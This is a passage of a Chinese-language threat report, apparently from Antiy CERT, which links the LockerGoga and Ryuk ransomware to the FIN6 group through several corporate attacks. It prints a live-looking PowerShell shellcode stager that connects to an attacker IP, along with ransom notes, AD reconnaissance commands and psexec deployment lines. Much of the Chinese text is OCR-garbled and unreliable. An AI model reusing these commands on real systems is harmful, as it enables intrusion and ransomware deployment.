N

" E * FING (RREHITHENZRITENINER, BRREPEHIGF

>
5

N’

FING (B ERZTRINE, TR REREP

%R CERT

H 2019 £ 1 A2, %K CERT &l & B2 & B bn AR B Al sl 2H 23 At xof 14 8 2R S 1k s S
k& Frfd F 8 & 54 LockerGoga, 1M 7E LockerGoga 2 Bii, 3 —#Z#F Ryuk [EIREET XA T &
T 2P, ORI 3 BT T ORER AT, 1 e PR R AR e 8 N A — B 4H 2 ——FING 4441,

22K CERT J@id 2 4EFZRER 0T, 4878 T ¥R B LockerGoga 5 Ryuk < [H](f1 R M 55 RIVEYE, 1
ST T AR RS E & N E— L ST N RALEAR SR o AT R I, FING 4% POS R4
dEBIIAESR IP 5 LockerGoga ¥hZiGsh M A, HUliliEah i i stager JylAl—387Y, 45 L &
LockerGoga 5 Ryuk #1215 i2 75 # AN FING 4121, RN, 28 A GBS FING 414wt 825 5h
JETT R, 87 7 FING A0 KA b s 23 1 B R AT B I B B %

ZIAF, ZRE P LI RS (FCRIAR IEP, LLURRIFRZ R D) St FING ZH 24 % F 8= %

% LockerGoga. Ryuk [\ 2547 .

2 FIN6 HARFF I TEFNZEH o]

2.1 4rxtEETAIERE (Altran) REHREH,

AMVA R IR AAEAIRROL T 1982 4, 2 —F A Bt QU TR G HIRS K ERRTE AR, 55 A4
PR30 ZAEZK, WA BE. Akl USSR B IR, SRRk,

BHEB: 2019 4E 1 F 24 H, BRI LockerGoga & #iE 6 WAL #HT T 8 & Wik . 2019 4F
1 A28 H, WEIERAKAFEN, RIEALTFKIEEMSIKIRFEMFHATBOERSE . 2R FEEm, T
SRS T AERZ k45 E,

ORX hRINFRE, WiBTTiREH g1l
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adlLTRaN

Press release
28.01.2019

Information on a cyber attack

On the 24th of January 2019, Altran was the target of a cyber attack affecting operations in some
European countries.

To protect our clients, employees and partners, we immediately shut down our IT network and all
applications. The security of our clients and of data is and will always be our top priority. We have
mobilized leading global third-party technical experts and forensics, and the investigation we have
conducted with them has not identified any stolen data nor instances of a propagation of the incident
to our clients.

2-1 TRKASHIEREG LA AR
RN R AT T BIRFEAAR S U 2-1 s
< 2-1 LockerGoga AR

RS AN Trojan[Ransom]/Win32.Crypren

[R¥a32 = svchOst.Random.exe
52340664fe59e030790c48b66924b5bd
SLIBRELRM Intel 386 or later processors and compatible processors
R 1.20 MB (1,267,728 =15)

& BinExecute/Microsoft.EXE[:X86]

BdEEE 2019-01-23 22:42:50

HFER MIKL LIMITED

I ERES:] 7

wmFES Microsoft Visual C++

VT &R LiEh3E 2019-01-24 09:41:18

VT tEilIg5R 56 /72

YR AT, LockerGoga 1E#H ZR 2 FE A vl @ MBI R, ST LU MR SCIF . BERIBFE A
CottleAkela@protonmail.com Al QyavauZehyco1994@02.pl, #4425 314 J 4% M .lock

ORX hRINFRE, WiBTTiREH $2m
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oy 58 * FING BRI MHERITAINR, RRERBUGR
| README-NOW.txt - {2254 - O P
) REE) BR0) S5V HEH)
There was a significant flaw in the security system of your company. "

You should be thankful that the flaw was exploited by serious people and not some rookies.
They would have damaged all of your data by mistake or for fun.

Your files are encrypted with the strongest military algorithms RSA4096 and AES-256.
Without our special decoder it is impossible to restore the data.

Attempts to restore your data with third party software as Photorec, RannohDecryptor etc.
will lead to irreversible destruction of your data.

To confirm our honest intentions.

Send us 2-3 different random files and you will get them decrypted.

It can be from different computers on your network to be sure that our decoder decrypts everything.
Sample files we unlock for free (files should not be related to any kind of backups).

We exclusively have decryption software for your situation

DO NOT RESET OR SHUTDOWN - files may be damaged.

DO NOT RENAME the encrypted files.

DO NOT MOVE the encrypted files.

This may lead to the impossibility of recovery of the certain files.

To get information on the price of the decoder contact us at:

CottleAkela@protonmail.com;QyavauZehyco1994@o2.pl

The payment has to be made in Bitcoins.

The final price depends on how fast you contact us.

As soon as we receive the payment you will get the decryption tool and

instructions on how to improve your systems security v
Windows (CRLF) 147, 217 100%

2-2 LRISKEAZREHFHEIRE

2.2 EEXTERBIEMEE AR (Norsk Hydro) HIEIRZEM:

VAR MR G A F QI T 1905 4F, FEALE A, B, BERE (. 8. A, KE
LBesg . Tl A, A m R a ek LRz —.

B E RS AR T 2019 45 3 H 19 H23rHE ks, 73 H 18 HAK, 2wl lEFER KI5
o, BUEEHIENL, SEES . S22 NorCERT (BB [ 52 N i B oty ) AR B FR Ik B =
32— 4% N LockerGoga FIBh & A R K, RIREYS e B %} /A 5] (1) Active Directory &4t
AT BRI AR N3 2-2 FTR.
= 2-2 LockerGoga #AES

RERW Trojan[Ransom]/Win32.Crypren
[Fa3H = zzbdrimp2939.exe
7e3f8b6b7ac0565bfcbf0ale3ebfcfbce

it ) Intel 386 or later processors and compatible processors

ORX hRINFRE, WiBTTiREH E3m
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1.2 MB (1249144 =75)
BinExecute/Microsoft.EXE[:X86]
2019-03-09 17:50:30

ALISA LTD

4 > V)
gt

A&

HFEZ
IS
RFES

VT &R LEEdE
VT iEilER

Microsoft Visual C+ +
2019-03-12 19:49:00
45 / 67

FING BRI MR RITAAL, RRERTHRGR

W RFEM, BEEEMH T 5 W0 R FAHAF R BIEF DharmaParrack@protonmail.com.

wyattpettigrew8922555@mail.com.

" |README_LOCKED..txt - igZ54
MAHF) SWAE(E) 183U0) EE(V) FEH)

=B )

To confirm our honest intentions.
Send us 2-3 different random files and vou will get them decrypted.

It can be from different computers on your network to be sure that our decoder

decrypts everything.

Sample files we unlock for free (files should not be related to any kind of

backups).

We exclusively have decryption software for your situation

DO NOT RESET OR SHUTDOWN - files may be damaged.

DO NOT RENAME the encrypted files.

DO NOT MOVE the encrypted files.

This may lead to the impossibility of recovery of the certain files.
The payment has to be made in Bitcoins.

The final price depends on how fast you contact us

As soon as we receive the payment vou will get the decryption tool and
instructions on how to improve vour systems security

To get information on the price of the decoder contact us at:

DharmaParrack@protonmail. com
wyattpettigrew8922555@mail. com

2-3 BEEAAMREHPNERE

2.3 EXEEEEEESS (Police Federation) HIEHREM:

m

HAER. J5ESEA T 2019 4F 3 H 21 HAF Twitter FRFAI, FRIEFE B AT EHAE 3 A
9 H#EZRZREA T, JUNEEEM BT KRB, S8R mameE, SECLRS ik,

OFX hRINFE, WiDTIREH

BA4W
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Police Federation @ e

Pouce k xiE \:'

@PFEW_HQ

We can confirm we have been subject to a

malware attack on our computer systems. We
were alerted by our own security systems on

Saturday 9 March. Cyber experts rapidly

reacted to isolate the malware and prevent it

from spreading #PFEWCyberAttack

B 2-4 XEERHKASHIFER

AR5 B ] [ o W 4 2 A rho L R AT I TRE AR 2., T S R IR Bl S0 R R B R B LockerGoga.

2.4 &5t ENE AT EE (Hexion) FHEE (Momentive) HIEhRZEM

ANV 30 R AR B A BRES RO LR il B HL ORI il A 7 AR R — SRR

W AR RS R R A, XTI kT 2010 £ 9 [ 14 HE A& 9F

B[R 3 K A2 A R 2019 4F 3 12 H i3 LockerGoga #Z Wf Mo , ¥ PR H: 2 w1 ) Windows
TSNV BT W5 I oSO gom s, 2 8 R B Be (0 EHL B SR AT RE A F k. AR A TR AR (L

Z KT rME BB,
< 2-3 LockerGoga 1 Ryuk $h&{TahE0HE M Z 4

2
c
=

BinAAREE, BNEMERHRIEEES = =
1&1T powershell fIA, i&E# IP & payload = =
T#RE shell FHiz(T 2 =
{3 windows g1 T LRELARINB EAE T B TR -
E = =
{$F8 RDP #H71&R#E) = =
{$5F8 psexec [A/BIHM 2 R EZFIR G = =
{FEFLALIRRIA kill.bat 5ERIRSS /A2, MBRSE®D 2 =

LockerGoga Fll Ryuk 2% i& 8l (VR4S HE N 28 0 F

1 “HMERIF RSO kill.bat S5 RHERE {5 11 SO 75 51 ZE AR 55 DL BR #5473 -

ORX hRINFRE, WiBTTiREH
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H

FIN6 BRI MEHRITHINE, RREREUGF

2-5 LockerGoga #1 Ryuk B9 kill.bat %FEE

2. MEPTHIZRE 1P OKE,
3. AEABRMEAHZAMO L.

).

344 J9***protonmail.com FI***@tutanota.com.
(2). BIREIWINERLL,

P r S R G AL AL

(@ README LOCKED.txt - iBF - o
RYHF) WA HSUO) BE(V) BRH)
Greetings!
There was a significant flaw in the security system of your|
Ccompany. |
You should be thankful that the flaw was exploited by serious

#ﬁaﬂdnmmmﬁeﬁ
would have of your data by mistake or for|

fun.
Vo—ulﬁlesareenaymedwiﬂlm trong

data) )
/Attempts to restore your data with third party software as|

To confirm our honest intentions.

Send us 2-3 different random files and you will get them
P ey
It can be from di 'on your network to be

sure that our decoder decrypts everything.

Sample files we unlock for free (files should not be related to
any kind of backups).

We exclusively have decryption software for your situation
DO NOT RESET OR SHUTDOWN - files may be damaged.

DO NOT RENAME the encrypted files.

DO NOT MOVE the encrypted files.

This may lead to the impossibility of recovery of the certain
files.

The payment has to be
The final

Windows (C %747, 8 <100%

TH AR R AR T Cobalt Strike/Powershell Empire/meterpreter

LockerGoga 215 H Bk R HE A6 22 ***@protonmail.com FI***@oz.pl, Ryuk 78121 TR

| RyukReadMe2 txt - i - o %
SHHF) RHEE) HUO) BWV) MEYH)
~|Gentlemen! A
Your business is at serious risk.|
There is a significant hole in the security system of your
company.

We' ve easily penetrated your network.

You should thank the Lord for being hacked by serious
not some stupid schoolboys or dangerous punks.

They can damage all your i int data just for fu

Nﬁzomwuﬂm

algorithms RSA4096 and AES-256.
No one can hel to restore files without our ial

or etc.!

ir tools are useless and can|

deﬁiox your files irrevecsib%.
you want to restore your files write to emails (contacts are at

the bottom of the sheet) and attach 2-3encrypted files (Less
than 5 Mb each,non-archived and your files should not contain
valuable information(Databases, backups, large excel sheets,

ples and our conditions how to
get the decoder.

Please don’ t forget to write the name of your company in the
subject of your e-mail.

You have to pay for decryption in Bitcoins.
The final price de how fast write to us.|Every day
of delay will cost you additional +0.5

BTC Nothing personal just business.

As soon as we get bitcoins you' et all#in
e (g
Moreover you will get instructions fiow {6 Ui e

v|security and how to avoid such problems in the future + we will v

Windows (Cf #8745, 5 1100%

2-6 LockerGoga #1 Ryuk 1 {S8B 4 *tEL

ORX hRIXFAE, WLTIREEE

B6m:
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XHEMEAERR— R, RE FING IV H AR e S 200G 80, (EIFRCAEGEE X POS R4
MIBGtT. £ 2019 4 2 27 H MORPHISEC SER S KA (E1%f POS RGEHI &KL ik il Kk
H FING ZHZRET X POS RIS, k% POS RGBLHESH AR IP 5 FING HEANE Tl =k
J#%# LockerGoga W& s IP AFAERR 7> A .

#+ 2-4 §t3F POS ARG BEEBIEX IP 5 LockerGoga EA TS

IRESRIEEIN C2 2%5 LockerGoga {85 IP B4 IP SRR E— RIS

http://89.105.194.*:443/Xaq2 = 2017-08-15
= http://46.166.173.*:443/Qq9%a = 2015-04-21
http://185.202.174.*:443 = 2018-11-27
K& http://185.202.174.%:443/c9Fz = 2018-11-27
http://93.115.26.*:443 = 2018-03-28

LRI, X4 1P ) whios 15 BIEIE —FER A ES, Kk, wTRUAE 1P FTE & BA BB FRHRE
rh T 27 1) poweshell stager 5 LockerGoga 44 th Bt 2 Fir i FH 1) stager Jy[R—38AL, TEILIA 3-3. ke
W) T IXEHRIE R T FING 2128 (WMI/PowerShell. FrameworkPOS. #[a# s FIALREETT).

201942527 HMORPHISEC
LABS £ BIFIN6ILEHPOS

201944 5 5HFireeye
EARIFING N Z Tl 7=l B

I
| |
I |
! |
e | - e
RGHEXER | \ EYFRHELER
I |
I |
} \
http://89.105.194.*:443/Xaq2 I | 185.202.174.%
http://46.166.173.*:443/Qq9a 185.202.174.*
EMNPES
http://185.202.174.%:443 5.39.219.*
http://5.39.219.*:8081/JVZb I | 46.166.173.*
I
http://185.202.174.%:443/c9Fz I I 93.115.26.*
I
http://93.115.26.*:443 | } ------
I
I |
! |
I
i FING |
} | PowerShell Stager
| |
I |
I

fs FAtEE]Stager

l

Powershell Empire
A N
Frameword POS ZAUHTRES

Cobalt Strike

Cobalt Strike

Powershell Empire - *
ANTIY E

Meterpreter

l

i
[
\
[
[
[
[
\
[
[
[
\
\
[
[
[
\
\
[
[
[
[
[
[
[
\
!
} L PowerShell Stager J
| :
[
[
[
\
\
\
\
[
\
[
[
[
\
\
[
[
[
[
\
\
[
[
\
\
\
[

2-7 $t3f POS SERRHFHI KBRS 4T

ORX hRINFRE, WiBTTiREH ETR
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gi bRk, Bh&IEE LockerGoga FIZNHL (KBS ANVENR LLAF MARFD . MR (BifiEE. K-k
. KRS, FiR (powershell A N %k payload. 1 psexec 43 KRB AFHi247. i Kill.bat 4T
BiAALIEE) . PR (P 3-4) #R5 Ryuk +70AHAL, PRItz % CERT W] LA € LockerGoga Al Ryuk (]
iBEE AR AR, FERILART APT 4141 FING.

2.5 FIN6 HRABH R/ B

B FING 42U RGN RIS MR- T, B AT C 270 7 i B H A & #E AT R U a4k . 1301
AN, Tredi A B R AR T R I R S5 aS P N Bt N 1, AR R 55 4% I A B R B N I IR 55 4 £ )
THIREIE T RSB A MRS, 150 P R AL AR BT, I8 A R A0 Lk S B M I A 20 3R 5 AR R g

IRERI

89.105.194.*

185.202.174.*

N #payload

o psexecEil

HEE

' \
& [ ]
s

%7 MmBRSE
NV

HITpowershelliEa]

7t

e ZZILCobaltStrike/Powershe

Empire/Meterpreter I:l

L4 _&L&xa?.bat o
EBZkill.batFLockerGoga

REEEHENHRIARSE

= ©f gX

2-8 FING BB R 2/ 5 RE

W B AR S s 2 N IR 55 2% )5, 4> 2234 Cobalt Strike. Powershell Empire LA & Meterpreter 34 BT
. Bk AL AT AAETE pastebin.com ) powershell 74>, ~#% payload 1. Powershell BT [ &4
o H 48 A base64  dm BY . fiE ® 5 W N B O oox . % odr 4 H o Invoke-

ORX hRINFRE, WiBTTiREH E8:m
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SMBWmi.ps1(https://gist.github.com/rvrsh3ll/7c2ece5f8d097fbedc7a) & Bt iy >k, Thfe NFIH powershell $447T

payload. payload 1 M 4k4: N# payload 2, Hi-T payload 2 K/NA O 745, RIRBEFIRALE R,

[Byte[]]$var_code = [System.Convert]::FromBase64String(" UiJAAAAY LNIMAIKILIWIITMIiTUISTOD7U4KI jH/
11cCsPGF8AiwgwWc8NACTi8FIX11IQi0I8AdCLQH1FWHRKAIBQiogYilggAdPjPEMLNISB1jH/
IMcCswc8NAcc44HX@A334030kdeYilgkAdNmiwxLi1gcAdOLBISBOI1EICRbW2FZWIH/4FhflWosS64ZdaG51dABod21uaVRoTHemB/ /
\/6AAAAAAX/1dXV1dXaDpWeaf/1emkAAAAWZHIUVFQA1FRaL sBAABTUGhX1Z/G/9VQ6YWAAABbMdISaAAyoIRSULITULBo61UUO/ /
\/icaDwlBogDMAAIngagRQahSWaHVGnob/1V8x/1dXavoTVmgtBhh7/9WFwA+EygEAADH/hfZ8BIn56wloqsXiXf/VicFoRSFeMf/VMfoXagdRV1Bot1fgC//
\/VWAVAAAS X3UHWFDpe// //zH/6ZEBAADpYQEAAChV/// /L2pTMmOA6BrjuCa7imkmu/
T6eESLIEQ3IB2muftA1Z9BMqFY1i@e®bplLqS5v4agic9cMsS6qPzIKtIyUvjDKGavB@OiyOyPhEjZYfgM/1gBVc2VyLUFnZW5001iBNb3ppbGxhLzUuMCA0Y29tc
GF@aWIsZTsgTVNIRSAXMC4wOyBXaW5kb3dzIE5UIDYuMjsgV21uNjQ7IHg2NDsgVHIpZGVudC82L jApDQoAiVIQ/U33aTBP6T8tv456TaPTuC3WUOgYPbNCIher
LGEGONBX6TxkswvUzTqtkrneeDC3esptsjAQKF1ThPVUNVY6KGBF jKgGbF6gqaqrse3PzhFWDpIzAZNNNOGAVYFqZx5w9z9tOmImDyqbDbgnNTqlX13Qtnkzuu3k
332dJRLgSRQSoTD701+nu12/DoJewamzhnumguXanzerLﬂ
39¢1d7XBgRX8CL1+M1HaAZdIpUYm3W2mCDZy @y c1ldpHSSXNvSpNhPrvICeMbfpql7mIW3ITAAaPClolb/1WpAaAAQAABOAABAAF doWKRT 5T/
'Vk7kAAAAAAdIRU4ANNV2gATIAAAU1ZoEpalav/VhcBOxosHACOFWHX1WMPoif3//zEANSAyMDIuMT cOL jkxAAAAAAE=")

$buffer = [inject.func]::VirtualAlloc(@, $var_code.Length + 1, [inject.func+AllocationType]::Reserve -bOr [inject.
func+AllocationType]: :Commit, [inject.func+MemoryProtection]: :ExecuteReadWrite)
if ([Bool]!$buffer) {

$global:result = 3; 1717185.202.174.91:443, T #{payload

return

3
[System.Runtime.InteropServices.Marshal]: :Copy($var_code, @, $buffer, $var_code.Length)
[IntPtr] $thread = [inject.func]::CreateThread(@, @, $buffer, @, @, @)

2-9 fRZE R powershell 4

Wi £l Adfind 24 3F 082055 H 3% (Active Directory) R4 HI M 285 R A 5 B (RL4E R
Zy ENA. FRDURAESE),

adfind.exe -f (objectcategory=person) > ad_users.txt
adfind.exe -f objectcategory=computer > ad_computers.txt
adfind.exe -f (objectcategory=organizationalUnit) > ad_ous.txt
adfind.exe -subnets -f (objectCategory=subnet) > ad_subnets.txt
adfind.exe -f "(objectcategory=group)" > ad_group.txt
adfind.exe -gcb -sc trustdmp > ad_trustdmp.txt
7.exea-mx3ad.7zad *

it A TGS H s IR (s B A — S DS BRI O A58, AR EVLR LA B S 1
xa?.bat(xab.bat. xac.bat %), HLALHE S EHERAUIT.

start copy svchost.exe \\10.1.1.1\c$\windows\temp\start psexec.exe \\10.1.1.1 -u domain\domainadmin -p

"password" -d -h -r mstdc -s -accepteula -nobanner c:\windows\temp\svchost.exe

OFX hRIXFFHE, WIBFTHREEH BIW
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1724 svehost.exe CEIZR BEE) # D13 B AR AL 304 I ei\windows\temp\start, 757 H psexec.exe
R HARFENL, RS Er $55E psexec QMRS 49 mstde (RGIRSS), RGBT EIRTAFET, M
H AR EHLSCAE

JE: psexec MITIE TAYIK P 2 41545 B AL T AL, QTR F) psexesve R %, psexesve R -4 E #7649

LB, psexec #He £ psexesve Al EE, KRS, TAUREPATH A LEZEEE, psexesve AE
KRB G, CIEHGLE, HUTHET.

TEAE R A 2 7, Bodias 2 567E B AR EHL_EHAT Kill.bat(MD5: 595a37f59f4fe020876d461329e167d6),
SO R A B A 5 i LA R O S LR, A5 LA AR RS, A5 1L SO 7 51 A
Ffi5 . killbat 40K,

3 FING HEAHH#ZRENANIIE

FING ALK AN Ja, = AE IR EE B 2R, A/ LA LockerGoga Jufil, 18 & & B X138 4T
1. LockerGoga #hZ&RBAT S ARYEAN A O S HethAT 8 2 IO #RAfE

OFX IRINFFE, WIDTIREH B10E:
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#F+< 3-1 LockerGoga RIEAF S EIITA R MERIE

BES%ahRIRR 4k, Eapi) originalname{4 NEHEF) exe, LISE-m EEiEal/aIXt, £R
HEE#ERE.

LAIEHRZENAEE, eIEERE<MX-originalname>, gIZdfAHEZ=AF<SM-originalname>, EHX
%, WEXHFIRER, THRE, BUEERIIEERFOS, USH-s Q@S a5 FHE.
LIFHERNA R, NEFRFEENENZASERE, 18,

HIZENE(S,

1 REEERSTEED

31 ®/IABHBR, BREFHROS, FEHAMEKEER

LockerGoga A [RIZHIEIT G d &t AT SRAUERAE . fEMHZH-m JG3l)5, 0@t logoff.exe Ktk
ATV, T net.exe B 25E #1114 DL HAR A P E1 4, 38 14 8“HuHUHUHOoH0283283@dJD 7.
TE N 5E BE M WIFT FTDLUR IERC Y, FE1ak B 22 FH A e % R BELWT = 415 71X R 42

Net Command

Microsoft Corporation
C:\Windows\system32\net1.exe 83X

C:\Windows\system32\net1 user Administrator HuHuHUHoH0283283@dJD
liEMERAKFAOS

32 fHH AES BEmEmEM, BMBRRGHE
LockerGoga LAZ#-m JHZh 5, i liscfl, WESFIRIE R, RG2S %-i SM-originalname -s il &

H & TR, 8 TR T ngs . Hrh SM-originalname A3t = NTE a4, AFId A SM-tgytutre, FEAE
VR ILE N AFI T, M ASRERE 1) R A% 38 I 5 (1) S A B AR

UNKNOWN 75CA9836: kernel32 CreateFileMappingA:loc 75CA9836 (Synchronized with EIP) -
4| 1] | »
@.l:[ex-‘;’i;a-w—-ln ST 0 & x |[@Stack view
013BFBT@ FO FA 3B 01 30 FB 3B 81 FF FF FF FF @0 60 00 66 ..;.0.;...... A |[@@19EB4® FFFFFFFF
013BFB30 00 90 PO OO FF FF FF FF 00 00 0D 00 00 08 B 08 ............. — ([@@19EB44 ©13CASEC .data:dword_13CASEC

©13BFB90 FE FF FF FF 00 00 00 B0 00 00 00 00 00 00 00 00 ............. ‘ ‘0019EBH8 00000&8Y4 ==
O13BFBAG 7C 00 00 00 00 00 00 Q0 0O 00 00 Q0 QO 0O 0O 0O OO19EBYC 00000999, E *

013BFBBO EFEDIFOING 67 79 T4 75 T4 72 63 00 00 00 00 0 SM-tgytutrc|. 0819EBSE 00100000
0011D9B0 013EFBBO: .data:dword 13BFEEO o R IS-LE MO 1 3BFEBO . data:dword_13BFBBO|

B 3-2 fI@XEAREF

ORX hRINFRE, WiBTTiREH BIMR
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CALL to

hFile =
pFindFileData

UHICODE

UNHICODE

FING (RREHITHENZRITENINER, BRREPEHIGF

from apphelp.74FE77F8

BB4CSACA

002F DALY

"C:\Windows\system32\logoff.exe"

“activeds.tlb™

3-3 KBS FIR

PAZ4-i SM-originalname —s Ji5 2 I3 FE 2 0 Wi B+ & MX-originalname J& 4715, # AEENIFEF IR
e THEE S IS A AE P base64 it iOSCAFBRAT, MRAD IS PAT INEE B4 . BEAEI AES AN SC
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